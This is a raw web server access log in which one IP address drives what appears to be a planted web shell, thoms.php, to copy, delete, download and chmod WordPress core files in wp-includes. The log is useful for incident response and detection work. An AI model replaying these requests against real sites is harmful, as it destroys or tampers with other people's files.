45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?chmod=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?chmod=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?del=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22313 "https://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?del=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?chmod=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22283 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21839 "https://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?chmod=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?chmod=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22274 "https://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?del=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:49 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
